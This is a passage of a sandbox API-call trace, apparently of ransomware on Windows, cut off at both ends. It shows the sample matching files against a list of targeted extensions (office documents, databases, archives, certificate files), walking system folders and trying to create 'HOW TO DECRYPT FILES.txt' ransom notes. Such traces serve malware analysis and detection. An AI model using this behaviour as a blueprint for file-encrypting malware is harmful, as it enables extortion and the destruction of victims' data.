PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.mdb") returned 0 [0126.870] lstrlenA (lpString="*.mdb") returned 5 [0126.870] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.fdb") returned 0 [0126.870] lstrlenA (lpString="*.fdb") returned 5 [0126.870] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.wab") returned 0 [0126.870] lstrlenA (lpString="*.wab") returned 5 [0126.870] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.dat") returned 0 [0126.870] lstrlenA (lpString="*.dat") returned 5 [0126.870] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.txt") returned 0 [0126.870] lstrlenA (lpString="*.txt") returned 5 [0126.870] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.jpeg") returned 0 [0126.870] lstrlenA (lpString="*.jpeg") returned 6 [0126.870] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.jpg") returned 0 [0126.870] lstrlenA (lpString="*.jpg") returned 5 [0126.870] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.png") returned 0 [0126.871] lstrlenA (lpString="*.png") returned 5 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.php") returned 0 [0126.871] lstrlenA (lpString="*.php") returned 5 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.cs") returned 0 [0126.871] lstrlenA (lpString="*.cs") returned 4 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.cpp") returned 0 [0126.871] lstrlenA (lpString="*.cpp") returned 5 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.rar") returned 0 [0126.871] lstrlenA (lpString="*.rar") returned 5 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.zip") returned 0 [0126.871] lstrlenA (lpString="*.zip") returned 5 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.html") returned 0 [0126.871] lstrlenA (lpString="*.html") returned 6 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.htm") returned 0 [0126.871] lstrlenA (lpString="*.htm") returned 5 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.xlsx") returned 0 [0126.871] lstrlenA (lpString="*.xlsx") returned 6 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.xls") returned 0 [0126.871] lstrlenA (lpString="*.xls") returned 5 [0126.871] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.mp4") returned 0 [0126.872] lstrlenA (lpString="*.mp4") returned 5 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.ppt") returned 0 [0126.872] lstrlenA (lpString="*.ppt") returned 5 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.pptx") returned 0 [0126.872] lstrlenA (lpString="*.pptx") returned 6 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.doc") returned 0 [0126.872] lstrlenA (lpString="*.doc") returned 5 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.dot") returned 0 [0126.872] lstrlenA (lpString="*.dot") returned 5 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.docx") returned 0 [0126.872] lstrlenA (lpString="*.docx") returned 6 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.7z") returned 0 [0126.872] lstrlenA (lpString="*.7z") returned 4 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.tar") returned 0 [0126.872] lstrlenA (lpString="*.tar") returned 5 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.bz2") returned 0 [0126.872] lstrlenA (lpString="*.bz2") returned 5 [0126.872] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.gz") returned 0 [0126.873] lstrlenA (lpString="*.gz") returned 4 [0126.873] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.mkv") returned 0 [0126.873] lstrlenA (lpString="*.mkv") returned 5 [0126.873] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.eml") returned 0 [0126.873] lstrlenA (lpString="*.eml") returned 5 [0126.873] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.msg") returned 0 [0126.873] lstrlenA (lpString="*.msg") returned 5 [0126.873] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.edb") returned 0 [0126.873] lstrlenA (lpString="*.edb") returned 5 [0126.873] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.accdb") returned 0 [0126.873] lstrlenA (lpString="*.accdb") returned 7 [0126.873] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.odb") returned 0 [0126.873] lstrlenA (lpString="*.odb") returned 5 [0126.873] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.java") returned 0 [0126.873] lstrlenA (lpString="*.java") returned 6 [0126.873] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.asm") returned 0 [0126.873] lstrlenA (lpString="*.asm") returned 5 [0126.874] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.pfx") returned 0 [0126.874] lstrlenA (lpString="*.pfx") returned 5 [0126.874] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.pem") returned 0 [0126.874] lstrlenA (lpString="*.pem") returned 5 [0126.874] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.p12") returned 0 [0126.874] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c9ab19, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0126.874] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.874] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.875] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll") returned="DiagPackage.dll" [0126.875] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US") returned="C:\\Windows\\diagnostics\\system\\Printer\\en-US" [0126.875] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c9ab19, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501564, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.881] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.881] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c9ab19, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0126.881] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.881] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.881] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0126.881] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.882] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.882] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.882] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0126.882] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\*.*") returned="*.*" [0126.882] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\" [0126.882] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\") returned="" [0126.882] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\HOW TO DECRYPT FILES.txt" [0126.882] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.882] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.882] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.883] CloseHandle (hObject=0xffffffff) returned 0 [0126.883] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\CL_LocalizationData.psd1" [0126.883] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\CL_LocalizationData.psd1", pszSpec="*.ems") returned 0 [0126.883] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0126.883] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.883] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.883] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.883] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0126.883] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.883] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\" [0126.883] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\") returned="" [0126.884] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\HOW TO DECRYPT FILES.txt" [0126.884] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.884] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.884] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.884] CloseHandle (hObject=0xffffffff) returned 0 [0126.884] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\DiagPackage.dll.mui" [0126.884] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\en-US\\DiagPackage.dll.mui", pszSpec="*.ems") returned 0 [0126.885] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0126.885] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0126.885] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64edf1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe64edf1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdaebbd13, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x103c, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MF_PrinterDiagnostic.ps1", cAlternateFileName="")) returned 1 [0126.885] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.885] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MF_PrinterDiagnostic.ps1") returned -1 [0126.885] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MF_PrinterDiagnostic.ps1") returned -1 [0126.885] lstrcmpiA (lpString1="", lpString2="MF_PrinterDiagnostic.ps1") returned -1 [0126.885] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\*.*") returned="*.*" [0126.885] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.885] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.885] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.885] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.885] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.886] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.886] CloseHandle (hObject=0xffffffff) returned 0 [0126.886] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="MF_PrinterDiagnostic.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\MF_PrinterDiagnostic.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\MF_PrinterDiagnostic.ps1" [0126.886] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe674f4e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe674f4e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdaf07fcf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_CancelAllJobs.ps1", cAlternateFileName="")) returned 1 [0126.886] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.886] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_CancelAllJobs.ps1") returned -1 [0126.886] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_CancelAllJobs.ps1") returned -1 [0126.886] lstrcmpiA (lpString1="", lpString2="RS_CancelAllJobs.ps1") returned -1 [0126.886] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\MF_PrinterDiagnostic.ps1") returned="MF_PrinterDiagnostic.ps1" [0126.887] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.887] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.887] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.887] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.887] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.887] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.887] CloseHandle (hObject=0xffffffff) returned 0 [0126.887] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_CancelAllJobs.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_CancelAllJobs.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_CancelAllJobs.ps1" [0126.888] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69b0ab, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe69b0ab, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdaf2e12d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa43, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_DeletePrintJobs.ps1", cAlternateFileName="")) returned 1 [0126.888] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.888] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_DeletePrintJobs.ps1") returned -1 [0126.888] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_DeletePrintJobs.ps1") returned -1 [0126.888] lstrcmpiA (lpString1="", lpString2="RS_DeletePrintJobs.ps1") returned -1 [0126.888] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_CancelAllJobs.ps1") returned="RS_CancelAllJobs.ps1" [0126.888] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.888] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.888] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.888] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.888] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.889] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.889] CloseHandle (hObject=0xffffffff) returned 0 [0126.889] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="RS_DeletePrintJobs.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\RS_DeletePrintJobs.ps1") returned="C:\\Windows\\diagnostics\\system\\Printer\\RS_DeletePrintJobs.ps1" [0126.889] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c1208, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe6c1208, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdaf2e12d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_HomeGroup.ps1", cAlternateFileName="")) returned 1 [0126.889] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.889] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_HomeGroup.ps1") returned -1 [0126.889] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_HomeGroup.ps1") returned -1 [0126.889] lstrcmpiA (lpString1="", lpString2="RS_HomeGroup.ps1") returned -1 [0126.889] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\RS_DeletePrintJobs.ps1") returned="RS_DeletePrintJobs.ps1" [0126.889] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.889] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.890] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.890] GetFileAttributesA 